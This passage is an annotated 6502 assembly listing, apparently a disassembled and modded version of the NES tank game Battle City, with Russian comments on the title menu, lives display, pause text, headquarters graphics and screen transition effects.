JSR Num_To_NumString ; Переводит число из А в строку NumString LDA #$30 ; '0' STA Char_Index_Base LDA #0 STA HighPtr_Byte LDA #$39 ; '9' STA LowPtr_Byte LDX #9 LDY #2 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDX byte_109 LDA 0,X JSR Num_To_NumString ; Переводит число из А в строку NumString LDA #0 STA HighPtr_Byte LDA #$39 ; '9' STA LowPtr_Byte LDX #$D LDY #2 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDA #0 STA Char_Index_Base LDA Joypad1_Differ AND #4 BEQ loc_C792 INC byte_109 loc_C792: ; CODE XREF: ROM:C78Dj LDA Joypad1_Differ AND #2 BEQ loc_C79B DEC byte_109 loc_C79B: ; CODE XREF: ROM:C796j LDA Joypad1_Differ AND #1 BEQ locret_C7AA LDA byte_109 CLC ADC #$10 STA byte_109 locret_C7AA: ; CODE XREF: ROM:C79Fj RTS ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Scroll_TitleScrn: ; CODE XREF: BonusLevel_ButtonCheck-37Ep LDA #0 STA Scroll_Byte STA PPU_REG1_Stts -: ; CODE XREF: Scroll_TitleScrn+15j JSR NMI_Wait ; Ожидает немаскируемого прерывания INC Scroll_Byte LDA Joypad1_Differ AND #1100b ; Проверка на Select или Start BNE + ; То же самое, что RTS (?) LDA Scroll_Byte CMP #$F0 ; 'Ё' BNE - RTS ; ─────────────────────────────────────────────────────────────────────────── +: ; CODE XREF: Scroll_TitleScrn+Fj PLA ; То же самое, что RTS (?) PLA JMP Title_Loaded ; End of function Scroll_TitleScrn ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует IP/IIP и число жизней в правом углу Draw_Player_Lives: ; CODE XREF: Battle_Loop+30p LDA #1 STA Counter ; По умолчанию отрисовываем жизни обоих игроков STA byte_6B LDA #$6E ; 'n' STA Char_Index_Base ; c $6E в VRAM начинаются цифры LDA #>PlayerLives_Icon ; Значок жизней игрока STA HighPtr_Byte LDA #<PlayerLives_Icon ; Значок жизней игрока STA LowPtr_Byte LDX #$1D LDY #$12 ; Координаты надписи JSR String_to_Screen_Buffer LDA Level_Mode CMP #2 BEQ Draw_2P_Lives ; Рисуем значок жизней второго игрока LDA CursorPos ; Если выбран один игрок, то ; не рисуем жизни 2 игрока. BNE Draw_2P_Lives ; Рисуем значок жизней второго игрока LDA #0 STA Counter ; Жизни второго игрока уже ; рисовать не будем JMP Draw_1P_Lives ; ─────────────────────────────────────────────────────────────────────────── Draw_2P_Lives: ; CODE XREF: Draw_Player_Lives+1Dj ; Draw_Player_Lives+21j LDA #>PlayerLives_Icon ; Рисуем значок жизней второго игрока STA HighPtr_Byte LDA #<PlayerLives_Icon ; Значок жизней игрока STA LowPtr_Byte LDX #$1D LDY #$15 JSR String_to_Screen_Buffer Draw_1P_Lives: ; CODE XREF: Draw_Player_Lives+27j ; Draw_Player_Lives+5Fj LDX Counter LDA Player1_Lives,X SEC SBC #1 BPL Draw_LivesDigit LDA #0 ; Если жизни отрицательные, рисуем ноль Draw_LivesDigit: ; CODE XREF: Draw_Player_Lives+40j JSR ByteTo_Num_String LDY #$36 ; '6' LDX #$19 JSR PtrToNonzeroStrElem ; Будем читать из числовой строки LDA Counter STA Temp ASL A CLC ADC Temp CLC ADC #$12 ; Y координата жизней на экране TAY JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер DEC Counter BPL Draw_1P_Lives LDA #0 STA Char_Index_Base STA byte_6B RTS ; End of function Draw_Player_Lives ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Draw_IP: ; CODE XREF: SetUp_LevelVARs+4Cp LDA #>I_p ; надпись IP прямо над жизнями игроков STA HighPtr_Byte LDA #<I_p ; надпись IP прямо над жизнями игроков STA LowPtr_Byte LDX #$1D LDY #$11 JSR String_to_Screen_Buffer LDA Level_Mode CMP #2 BEQ Draw_IIP ; Если бонус уровень, то игроков всегда два LDA CursorPos BEQ + Draw_IIP: ; CODE XREF: Draw_IP+13j LDA #>II_p ; надпись IIP прямо над жизнями игроков STA HighPtr_Byte LDA #<II_p ; надпись IIP прямо над жизнями игроков STA LowPtr_Byte LDX #$1D LDY #$14 JSR String_to_Screen_Buffer +: ; CODE XREF: Draw_IP+17j RTS ; End of function Draw_IP ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Draw_LevelFlag: ; CODE XREF: SetUp_LevelVARs+4Fp JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA #>LevelFlag_Upper_Icons ; Флажок над номером уровня в правой части экрана STA HighPtr_Byte LDA #<LevelFlag_Upper_Icons ; Флажок над номером уровня в правой части экрана STA LowPtr_Byte LDX #$1D LDY #$17 JSR String_to_Screen_Buffer LDA #>LevelFlag_Lower_Icons STA HighPtr_Byte LDA #<LevelFlag_Lower_Icons STA LowPtr_Byte LDX #$1D LDY #$18 JSR String_to_Screen_Buffer LDA #$6E ; 'n' STA Char_Index_Base ; C $6E начинаются цифры жизней в Pattern Table LDA Level_Number JSR ByteTo_Num_String LDY #$36 ; '6' LDX #$19 JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #$19 JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDA #0 STA Char_Index_Base RTS ; End of function Draw_LevelFlag ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ PointAt_RightScrnColumn: ; CODE XREF: ReinforceToRAMp ; Draw_EmptyTilep PHA AND #1 CLC ADC #29 ; 29 тайлов от начала строки экрана до начала правого информационного столбца TAX PLA LSR A ; делим на 2 (в строке информационного столбца всегда два тайла) CLC ADC #3 ; информационный столбец отстоит от верхней границы экрана на 3 тайла TAY ;X и Y теперь координаты в тайлах куда будет ;записана очередная иконка информационного столбца RTS ; End of function PointAt_RightScrnColumn ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ReinforceToRAM: ; CODE XREF: Draw_Reinforcemets+6p JSR PointAt_RightScrnColumn LDA #>Reinforcement_Icon ; Составляют лист оставшихся врагов STA HighPtr_Byte LDA #<Reinforcement_Icon ; Составляют лист оставшихся врагов STA LowPtr_Byte JSR String_to_Screen_Buffer RTS ; End of function ReinforceToRAM ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует пустой тайл в колонке запасов врагов, когда они выходят Draw_EmptyTile: ; CODE XREF: Respawn_Handle+20p JSR PointAt_RightScrnColumn LDA #>Empty_Tile ; Подменяет значок врага, когда тот рождается STA HighPtr_Byte LDA #<Empty_Tile ; Подменяет значок врага, когда тот рождается STA LowPtr_Byte JSR String_to_Screen_Buffer RTS ; End of function Draw_EmptyTile ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Draw_Reinforcemets: LDA Boss_Mode BNE End_Draw_Reinforcemets ; CODE XREF: SetUp_LevelVARs+46p SEC LDA Enemy_Reinforce_Count ;! считаем врагов - они могут измениться, если враг взял бонус жизнь SBC #1 ;LDA #18 STA Counter ; В листе запасов врагов будет 20 иконок врагов, ; здесь цикл с постусловием, поэтому 18 -: ; CODE XREF: Draw_Reinforcemets+Dj LDA Counter JSR ReinforceToRAM DEC Counter ;DEC Counter ; По две иконки в линии, поэтому уменьшаем 2 раза BPL - End_Draw_Reinforcemets: RTS ; End of function Draw_Reinforcemets ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Не дает танку выйти за границы серой рамки Check_BorderReach: ; CODE XREF: ROM:C0F0p LDA Tank_X CMP #$D8 ; '╪' BCC + LDA #$D8 ; '╪' STA Tank_X ; Если правее рамки, присваиваем танку ; крайнюю правую координату +: ; CODE XREF: Check_BorderReach+4j LDA Tank_X CMP #$18 BCS ++ LDA #$18 STA Tank_X ; Если левее рамки, присваиваем танку ; крайнюю левую координату ++: ; CODE XREF: Check_BorderReach+Ej LDA Tank_Y CMP #$D8 ; '╪' BCC +++ LDA #$D8 ; '╪' STA Tank_Y ; Если выше рамки, присваиваем танку ; крайнюю верхнюю координату +++: ; CODE XREF: Check_BorderReach+18j LDA Tank_Y CMP #$18 BCS End_Check_BorderReach LDA #$18 STA Tank_Y ; Если ниже рамки, присваиваем танку ; крайнюю нижнюю координату End_Check_BorderReach: ; CODE XREF: Check_BorderReach+22j RTS ; End of function Check_BorderReach ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует мигающую надпись, в случае если выставлена пауза Draw_Pause: ; CODE XREF: ROM:Skip_Pause_Switchp LDA Pause_Flag BEQ End_Draw_Pause ; Если пауза не выставлена, выходим LDA Frame_Counter AND #$10 ; Создаёт мигание надписи раз в 16 фреймов BEQ End_Draw_Pause ;Топорный способ вывода надписи "PAUSE" на экран LDA #3 STA TSA_Pal ; Пауза использует спрайтовую палитру 3 LDA #0 STA Spr_Attrib ; Надпись поверх форна LDX #$64 ; 'd' ; Координата Х буквы LDY #$80 ; 'А' ; Координата Y буквы LDA #$17 ; P STA Spr_TileIndex JSR SaveSprTo_SprBuffer ; Сбрасывает в спрайтовый буффер один спрайт 8х16 LDX #$6C ; 'l' LDY #$80 ; 'А' LDA #$19 ; A STA Spr_TileIndex JSR SaveSprTo_SprBuffer ; Сбрасывает в спрайтовый буффер один спрайт 8х16 LDX #$74 ; 't' LDY #$80 ; 'А' LDA #$1B ; U STA Spr_TileIndex JSR SaveSprTo_SprBuffer ; Сбрасывает в спрайтовый буффер один спрайт 8х16 LDX #$7C ; '|' LDY #$80 ; 'А' LDA #$1D ; S STA Spr_TileIndex JSR SaveSprTo_SprBuffer ; Сбрасывает в спрайтовый буффер один спрайт 8х16 LDX #$84 ; 'Д' LDY #$80 ; 'А' LDA #$1F ; E STA Spr_TileIndex JSR SaveSprTo_SprBuffer ; Сбрасывает в спрайтовый буффер один спрайт 8х16 LDA #$20 ; ' ' STA Spr_Attrib End_Draw_Pause: ; CODE XREF: Draw_Pause+2j ; Draw_Pause+8j RTS ; End of function Draw_Pause ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует надпись Game Over, когда она остановилась Draw_Fixed_GameOver: ; CODE XREF: GameOver_Str_Move_Handle:Stopped_Motionp LDA #3 STA TSA_Pal LDA #0 STA Spr_Attrib LDX GameOverStr_X LDY GameOverStr_Y LDA #$79 ; 'y' ; Начало первого спрайта 16х16 надписи Game Over STA Spr_TileIndex JSR Draw_WholeSpr ; Рисуем левую половинку надписи LDA GameOverStr_X CLC ADC #$10 ; Смещаемся на два тайла вправо (16 пикселей) TAX LDY GameOverStr_Y LDA #$7D ; '}' ; Начало графики второй половинки надписи в Pattern Table STA Spr_TileIndex JSR Draw_WholeSpr ; Рисуем вторую половину LDA #$20 ; ' ' STA Spr_Attrib RTS ; End of function Draw_Fixed_GameOver ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Выводит надпись Game Over если нужно GameOver_Str_Move_Handle: ; CODE XREF: Battle_Loop+2Ap LDA GameOverStr_Timer BEQ End_GameOver_Str_Move ; Если надписи нет, выходим LDA Level_Mode CMP #2 ; На бонус уровне надпись Game Over не отображается BEQ End_GameOver_Str_Move LDA Frame_Counter AND #$F ; Счётчик уменьшается ; каждые 16 фреймов BNE Check_Motion DEC GameOverStr_Timer BNE Check_Motion Hide_String: ; Если время кончилось, LDA #$F0 ; 'Ё' ; прячем надпись STA GameOverStr_Y Check_Motion: ; CODE XREF: GameOver_Str_Move_Handle+Fj ; GameOver_Str_Move_Handle+14j LDA GameOverStr_Timer CMP #10 ; за 10 циклов до исчезновения ; надпись останавливается BCC Stopped_Motion LDA GameOverScroll_Type ; Определяет вид перемещения надписи(0..3) TAY LDA Coord_X_Increment,Y CLC ADC GameOverStr_X STA GameOverStr_X LDA Coord_Y_Increment,Y CLC ADC GameOverStr_Y STA GameOverStr_Y Stopped_Motion: ; CODE XREF: GameOver_Str_Move_Handle+20j JSR Draw_Fixed_GameOver ; Рисует надпись Game Over, когда она остановилась End_GameOver_Str_Move: ; CODE XREF: GameOver_Str_Move_Handle+3j ; GameOver_Str_Move_Handle+9j RTS ; End of function GameOver_Str_Move_Handle ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Make_GrayFrame: ; CODE XREF: ROM:C0B5p ROM:C1D4p ; Load_DemoLevel+19p ; Show_Secret_Msg+C1p LDA #2 STA Block_X STA Block_Y ; Рамочка шириной 2 тайла по вертикали и горизонтали ; (потом к ней прибавляется правый информационный столбец) ; На самом деле, сначала весь экран заполняется серым, потом ; в нем отрисовывается черный квадрат игрового поля LDA #$1A STA Counter ; $19 - ширина и высота игрового поля (в процедуре от $1A отнимается единица) ; Counter - будет играть роль высоты ; Counter2 - ширины STA Counter2 JSR Draw_GrayFrame RTS ; End of function Make_GrayFrame ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Title_Screen_Loop: ; CODE XREF: BonusLevel_ButtonCheck:Title_Loadedp ; выходы по JMP на разные команды LDA #3 STA BkgPal_Number ; По RTS - загрузка демо-ролика LDA #$24 STA PPU_Addr_Ptr;Пишем в нижнюю тайловую карту JSR Null_Status LDA #$48 ; 'H' ; X на титульнике изменяться не будет STA Tank_X JSR CurPos_To_PixelCoord LDA #$83 STA Tank_Status ; Танк направлен дулом вправо LDA #0 Sta Random_Level_Flag STA Seconds_Counter ; Обнуление таймера STA Tank_Type STA Track_Pos STA Player_Blink_Timer ; Таймер мигания friendly fire STA Player_Blink_Timer+1 ; Таймер мигания friendly fire STA Scroll_Byte LDA #2 STA PPU_REG1_Stts Begin_Title_Screen_Loop: ; CODE XREF: Title_Screen_Loop+81j JSR NMI_Wait ; Ожидает немаскируемого прерывания LDA Frame_Counter AND #3 BNE + ; Каждые 3 фрейма смещаем гусеницу LDA Track_Pos EOR #4 STA Track_Pos +: ; CODE XREF: Title_Screen_Loop+2Dj JSR TanksStatus_Handle ; Обрабатывает статусы всех 8-ми танков ;Проверяем на вправо-влево: Lda CursorPos Cmp #3 BNE Check_Select LDA Joypad1_Differ AND #$40 ; проверка на left BEQ +++ LDA #0 STA Seconds_Counter Dec Map_Mode_Pos BPL Draw_Map_Mode LDA #2 STA Map_Mode_Pos JMP Draw_Map_Mode +++: LDA Joypad1_Differ AND #$80 ; проверка на right BEQ Check_Select LDA #0 STA Seconds_Counter INC Map_Mode_Pos LDA Map_Mode_Pos CMP #3 BCC Draw_Map_Mode Lda #0 STA Map_Mode_Pos Draw_Map_Mode: LDA Map_Mode_Pos ASL A ; х2 (указатели двухбайтовые) TAY LDA MAP_MODE_STRINGS,Y STA LowPtr_Byte LDA MAP_MODE_STRINGS+1,Y STA HighPtr_Byte LDX #$11 LDY #$17 JSR Save_Str_To_ScrBuffer Check_Select: LDA Joypad1_Differ AND #4 ; проверка на select BEQ Check_Max_CurPos INC CursorPos LDA #0 STA Seconds_Counter Check_Max_CurPos: ; CODE XREF: Title_Screen_Loop+5Bj ; Title_Screen_Loop+61j LDA CursorPos CMP #4;! добавили еще один пункт меню BCC ++ LDA #0 STA CursorPos ++: ; CODE XREF: Title_Screen_Loop+69j JSR CurPos_To_PixelCoord LDA Seconds_Counter CMP #10 ; Проверка на время начала Демо-ролика(10 секунд) BNE Start_Check LDA Construction_Flag ; Если были в Construction, не показываем демо-уровень BNE Start_Check LDA #$1C STA PPU_Addr_Ptr RTS ; Загружаем Демо-ролик ; ─────────────────────────────────────────────────────────────────────────── Start_Check: ; CODE XREF: Title_Screen_Loop+76j ; Title_Screen_Loop+7Aj LDA Joypad1_Differ AND #8 ; проверка на старт Bne ++++ JMP Begin_Title_Screen_Loop ++++: LDA Construction_Flag ; Выставляется, если зашли в Construction CMP #7 BNE Start_Pressed Start_Pressed: ; CODE XREF: Title_Screen_Loop+87j ; Title_Screen_Loop+8Dj LDA #0 STA BkgPal_Number PLA PLA ; чтобы не переполнить стек при рекурсии LDA CursorPos ; В зависимости от позиции курсора выполняем команды ASL A ; х2 (указатели двухбайтовые) TAY LDA Title_JumpTable,Y STA LowPtr_Byte LDA Title_JumpTable+1,Y STA HighPtr_Byte LDA #$1C STA PPU_Addr_Ptr JMP (LowPtr_Byte) ; End of function Title_Screen_Loop ; ─────────────────────────────────────────────────────────────────────────── ;Загружается командами сверху Title_JumpTable:.WORD Selected_1player ; DATA XREF: Title_Screen_Loop+9Cr ; Title_Screen_Loop+A1r ; Если игрок 1, то на экране может быть 4 врага .WORD Selected_2players ; Если игроков двое, то на экране может быть 6 врагов .WORD Selected_Construction .WORD Title_Loaded ; При нажатии на старт на выборе режима, прыгаем к 1player ; ─────────────────────────────────────────────────────────────────────────── Selected_1player: ; DATA XREF: ROM:Title_JumpTableo LDA #5 ; Если игрок 1, то на экране может быть 4 врага JMP accept ; ─────────────────────────────────────────────────────────────────────────── Selected_2players: ; DATA XREF: ROM:CA6Bo LDA #7 ; Если игроков двое, то на экране может быть 6 врагов accept: ; CODE XREF: ROM:CA71j STA TanksOnScreen ; Максимальное количество всех танков на экране JSR Null_both_HiScore JMP Start_StageSelScrn ; ─────────────────────────────────────────────────────────────────────────── Selected_Construction: ; DATA XREF: ROM:CA6Do LDA #7 STA TanksOnScreen ; ? к чему бы это - на экране только игрок... JMP Construction ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ CurPos_To_PixelCoord: ; CODE XREF: Title_Screen_Loop+Bp ; Title_Screen_Loop:Plusp LDA CursorPos ASL A ASL A ASL A ASL A ; Умножаем на 16 (между пунктами меню 2 тайла по 8 пикселей) CLC ADC #$8B ; 'Л' ; От верхней границы экрана до первого пункта меню по вертикали $88 пикселей STA Tank_Y RTS ; End of function CurPos_To_PixelCoord ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Draw_StageNumString: ; CODE XREF: ROM:StageSelect_Loopp JSR NMI_Wait ; Ожидает немаскируемого прерывания LDX #$C ; Координаты в тайлах размещения строки на экране LDY #$E JSR CoordTo_PPUaddress LDX ScrBuffer_Pos CLC ADC #$1C STA Screen_Buffer,X ; Старший байт адреса в PPU INX TYA STA Screen_Buffer,X ; Младший байт INX LDY #0 ;Если нужно, выводим надпись Boss Stage LDA Boss_Mode BEQ Skip_Draw_BossStage -: LDA aBoss,y STA Screen_Buffer,X INY INX CMP #$FF BNE - STX ScrBuffer_Pos LDA #$6E ; 'n' ; С $6E в Pattern Table начинается графика цифр STA Char_Index_Base LDA Level_Number; LSR LSR LSR JSR ByteTo_Num_String LDY #Num_String+1 LDX #$12 ; Координата Х выводимой цифры JMP End_Stage_Draw Skip_Draw_BossStage: --: LDA aStageScr,y STA Screen_Buffer,X INY INX CMP #$FF BNE -- STX ScrBuffer_Pos LDA #$6E ; 'n' ; С $6E в Pattern Table начинается графика цифр STA Char_Index_Base LDA Level_Number;! номер уровня JSR ByteTo_Num_String LDY #Num_String+1 LDX #$E ; Координата Х выводимой цифры End_Stage_Draw: JSR PtrToNonzeroStrElem ; Установка указателя на ненулевой элемент строки LDY #$E ; Координата Y выводимой цифры JSR Save_Str_To_ScrBuffer ; Сохраняет строку в строковый буффер LDA #0 STA Char_Index_Base RTS ; End of function Draw_StageNumString ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует штаб с кирпичами DraW_Normal_HQ: ; CODE XREF: ROM:C0E7p ROM:C1DCp ; Load_DemoLevel+5Dp ; HQ_Handle:Normal_HQ_Handlep LDA #>Normal_HQ_TSA STA HighPtr_Byte LDA #<Normal_HQ_TSA STA LowPtr_Byte LDX #$C LDY #$18 JSR String_to_Screen_Buffer LDA #>NormalLine2 STA HighPtr_Byte LDA #<NormalLine2 STA LowPtr_Byte LDX #$C LDY #$19 JSR String_to_Screen_Buffer LDA #>NormalLine3 STA HighPtr_Byte LDA #<NormalLine3 STA LowPtr_Byte LDX #$C LDY #$1A JSR String_to_Screen_Buffer LDA #>Normalline4 STA HighPtr_Byte LDA #<Normalline4 STA LowPtr_Byte LDX #$C LDY #$1B JSR String_to_Screen_Buffer ; Выводим штаб через Строковый Буффер LDX ScrBuffer_Pos LDA #$23 ; '#' STA Screen_Buffer,X INX LDA #$F3 ; 'є' STA Screen_Buffer,X ; Запись в память PPU $23F3 (атрибуты штаба) INX LDA #0 STA NT_Buffer+$3F3 STA Screen_Buffer,X INX LDA NT_Buffer+$3F4 AND #$CC ; '╠' STA NT_Buffer+$3F4 STA Screen_Buffer,X ; Выставляем атрибуты штаба INX LDA #$FF STA Screen_Buffer,X ; Конец строки INX STX ScrBuffer_Pos RTS ; End of function DraW_Normal_HQ ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Draw_Naked_HQ: ; CODE XREF: ROM:Skip_Lvl_Loadp LDA #>Naked_HQ_TSA_FirstLine STA HighPtr_Byte LDA #<Naked_HQ_TSA_FirstLine STA LowPtr_Byte LDX #$E LDY #$1A ; Координаты верхней линии голого штаба JSR String_to_Screen_Buffer LDA #>Naked_HQ_TSA_SecndLine STA HighPtr_Byte LDA #<Naked_HQ_TSA_SecndLine STA LowPtr_Byte LDX #$E LDY #$1B ; Координаты нижней линии голого штаба JSR String_to_Screen_Buffer LDX ScrBuffer_Pos LDA #$23 ; '#' STA Screen_Buffer,X INX LDA #$F3 ; 'є' STA Screen_Buffer,X ; Запись следующего стринга будет в адрес PPU $23F3 ; (атрибут верхней карты тайлов) INX LDA NT_Buffer+$3F3 AND #111111b STA NT_Buffer+$3F3 ; Штаб использует нулевую палитру, поэтому старшие ; три бита обнуляют, хотя достаточно обнулить и два ; (адрес байта атрибута вписан в операнды жестко, ; но для отладки сойдёт) STA Screen_Buffer,X INX LDA #$FF STA Screen_Buffer,X ; Конец строки INX STX ScrBuffer_Pos RTS ; End of function Draw_Naked_HQ ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует штаб с броней Draw_ArmourHQ: ; CODE XREF: HQ_Handle+20p ROM:E9FFp LDA #>Armour_HQ_TSA_Line1 STA HighPtr_Byte LDA #<Armour_HQ_TSA_Line1 STA LowPtr_Byte LDX #$C LDY #$18 JSR String_to_Screen_Buffer LDA #>Armour_HQ_TSA_Line2 STA HighPtr_Byte LDA #<Armour_HQ_TSA_Line2 STA LowPtr_Byte LDX #$C LDY #$19 JSR String_to_Screen_Buffer LDA #>Armour_HQ_TSA_Line3 STA HighPtr_Byte LDA #<Armour_HQ_TSA_Line3 STA LowPtr_Byte LDX #$C LDY #$1A JSR String_to_Screen_Buffer LDA #>Armour_HQ_TSA_Line4 STA HighPtr_Byte LDA #<Armour_HQ_TSA_Line4 STA LowPtr_Byte LDX #$C LDY #$1B JSR String_to_Screen_Buffer LDX ScrBuffer_Pos ; Выводим бронированый штаб через строковый буффер LDA #$23 ; '#' STA Screen_Buffer,X INX LDA #$F3 ; 'є' STA Screen_Buffer,X ; Будем писать в область атрибутов ($23F3) INX LDA #$3F ; '?' STA NT_Buffer+$3F3 STA Screen_Buffer,X INX LDA NT_Buffer+$3F4 AND #$CC ; '╠' ORA #$33 ; '3' STA NT_Buffer+$3F4 STA Screen_Buffer,X INX LDA #$FF STA Screen_Buffer,X ; Конец строки атрибутов INX STX ScrBuffer_Pos RTS ; End of function Draw_ArmourHQ ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Рисует разрушенный штаб Draw_Destroyed_HQ: ; CODE XREF: BulletToObject_Impact_Handle+20p LDA #>DestroyedHQ_TSA_Line1 STA HighPtr_Byte LDA #<DestroyedHQ_TSA_Line1 STA LowPtr_Byte LDX #$E LDY #$1A JSR String_to_Screen_Buffer LDA #>DestroyedHQ_TSA_Line2 STA HighPtr_Byte LDA #<DestroyedHQ_TSA_Line2 STA LowPtr_Byte LDX #$E LDY #$1B JSR String_to_Screen_Buffer RTS ; End of function Draw_Destroyed_HQ ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ;! Рисует штаб после взятия врагом лопаты Draw_ShovelHQ: LDA #>Shovel_HQ_TSA_Line1 STA HighPtr_Byte LDA #<Shovel_HQ_TSA_Line1 STA LowPtr_Byte LDX #$C LDY #$18 JSR String_to_Screen_Buffer LDA #>Shovel_HQ_TSA_Line2 STA HighPtr_Byte LDA #<Shovel_HQ_TSA_Line2 STA LowPtr_Byte LDX #$C LDY #$19 JSR String_to_Screen_Buffer LDA #>Shovel_HQ_TSA_Line3 STA HighPtr_Byte LDA #<Shovel_HQ_TSA_Line3 STA LowPtr_Byte LDX #$C LDY #$1A JSR String_to_Screen_Buffer LDA #>Shovel_HQ_TSA_Line4 STA HighPtr_Byte LDA #<Shovel_HQ_TSA_Line4 STA LowPtr_Byte LDX #$C LDY #$1B JSR String_to_Screen_Buffer LDX ScrBuffer_Pos ; Выводим бронированый штаб через строковый буффер RTS ; End of function Draw_ShovelHQ ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Copy_AttribToScrnBuff: ; CODE XREF: ROM:C1E9p LDY #0 ;Процедура копирует атрибуты из NTBuffer в ScreenBuffer, переводя в соответствующий фромат LDA #$23 ; '#' STA HighPtr_Byte LDA #$C0 ; '└' STA LowPtr_Byte ; Запись будет вестись в область атрибутов верхней NT -: ; CODE XREF: Copy_AttribToScrnBuff+32j JSR NMI_Wait ; Ожидает немаскируемого прерывания LDX ScrBuffer_Pos LDA HighPtr_Byte STA Screen_Buffer,X INX LDA LowPtr_Byte STA Screen_Buffer,X ; Сначала сохраняем в буффер строк адрес PPU, ; куда будет вестить запись INX LDA NT_Buffer+$3C0,Y INY STA Screen_Buffer,X INX LDA #$FF STA Screen_Buffer,X ; Сохраняем каждый байт атрибута в виде строки ; в спрайтовый буффер INX STX ScrBuffer_Pos LDA #1 JSR Inc_Ptr_on_A CPY #$40 ; '@' ; Количество байт в таблице атрибутов BNE - RTS ; End of function Copy_AttribToScrnBuff ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Заполняет один ряд тайлов Iterative_Byte'ом FillScr_Single_Row: ; CODE XREF: FillNT_with_Grey+Dp ; FillNT_with_Grey+16p ; FillNT_with_Black+Dp ; FillNT_with_Black+16p LDX #0 JSR CoordTo_PPUaddress STA HighPtr_Byte STY LowPtr_Byte LDX ScrBuffer_Pos LDA HighPtr_Byte CLC ADC #$1C STA Screen_Buffer,X INX LDA LowPtr_Byte STA Screen_Buffer,X INX LDY #0 -: ; CODE XREF: FillScr_Single_Row+29j LDA Iterative_Byte ; Байт, заполняющий большие массивы данных BNE + LDA (LowPtr_Byte),Y +: ; CODE XREF: FillScr_Single_Row+1Ej STA Screen_Buffer,X INX INY CPY #$20 ; ' ' BNE - LDA #$FF STA Screen_Buffer,X INX STX ScrBuffer_Pos RTS ; End of function FillScr_Single_Row ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; создаёт эффект сходящихся вертикальных створок FillNT_with_Grey: ; CODE XREF: ROM:C16Fp LDA #$11 STA Iterative_Byte ; Пустой серый тайл LDA #0 STA Block_Y ; Начинаем заполнять экран с начала -: ; CODE XREF: FillNT_with_Grey+1Fj JSR NMI_Wait ; Задержка до отрисовки экрана: благодаря ей, игрок ; успевает увидеть процесс заполнения экрана. LDY Block_Y JSR FillScr_Single_Row ; Заполняет один ряд тайлов Iterative_Byte'ом LDA #$1D ; Экран 240 пикселей (или $1E тайлов) в высоту SEC SBC Block_Y ; Заполняем экран по одному ряду тайлов сверху и снизу, ; создавая эффект сходящихся вертикальных створок TAY JSR FillScr_Single_Row ; Заполняет один ряд тайлов Iterative_Byte'ом INC Block_Y LDA Block_Y CMP #$10 ; $10 проходов заполняют $20 рядов тайлов ; или $400 байт (т.е. и атрибуты тайловых карт тоже) BNE - ; Задержка до отрисовки экрана: благодаря ей, игрок ; успевает увидеть процесс заполнения экрана. RTS ; End of function FillNT_with_Grey ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ ; Создаёт эффект расходящихся вертикальных створок FillNT_with_Black: ; CODE XREF: ROM:C1ECp LDA #0 STA Iterative_Byte ; Пустой чёрный тайл LDA #$F STA Block_Y ; Начинаем заполнять экран с середины (от надписи 'STAGE XX') -: ; CODE XREF: FillNT_with_Black+1Fj JSR NMI_Wait ; Задержка до отрисовки экрана: благодаря ей, игрок ; успевает увидеть процесс заполнения экрана. LDY Block_Y JSR FillScr_Single_Row ; Заполняет один ряд тайлов Iterative_Byte'ом LDA #$1D ; Экран 240 пикселей (или $1E тайлов) в высоту SEC SBC Block_Y ; Заполняем экран по одному ряду тайлов сверху и снизу, ; создавая эффект расходящихся вертикальных створок TAY JSR FillScr_Single_Row ; Заполняет один ряд тайлов Iterative_Byte'ом DEC Block_Y LDA Block_Y CMP #$FF ; Доходим до конца экрана BNE - ; Задержка до отрисовки экрана: благодаря ей, игрок ; успевает увидеть процесс заполнения экрана. RTS ; End of function FillNT_with_Black ; ███████████████ S U B R O U T I N E ███████████████████████████████████████ Draw_Pts_Screen: ; CODE XREF: ROM:C256p JSR Draw_Pts_Screen_Template ; Рисует общий для всех уровней экран очков LDX #$1E JSR DrawTankColumn_XTimes ; Рисует колонку из 4-х вражеских танков X раз (задержка в Х фреймов) LDA Enmy_KlledBy1P_Count CLC ADC Enmy_KlledBy1P_Count+1 CLC ADC Enmy_KlledBy1P_Count+2 CLC ADC Enmy_KlledBy1P_Count+3 STA TotalEnmy_KilledBy1P LDA Enmy_KlledBy2P_Count CLC ADC Enmy_KlledBy2P_Count+1 CLC ADC Enmy_KlledBy2P_Count+2 CLC ADC Enmy_KlledBy2P_Count+3 STA TotalEnmy_KilledBy2P ; Вычисляем общее количество очков LDA #0 STA Counter DrawPtsScrn_NxtTank: ; CODE XREF: Draw_Pts_Screen+11Dj JSR NMI_Wait ; Ожидает немаскируемого прерывания JSR Draw_Tank_Column ; Рисует колонку из 4-х вражеских танков LDX #Temp_1PPts_String ; Строка при подсчете очков за текущий вид танка JSR Null_8Bytes_String LDX #Temp_2PPts_String JSR Null_8Bytes_String LDA #0 STA BrickChar_X STA BrickChar_Y DrawPtsScrn_NxtCount: ; 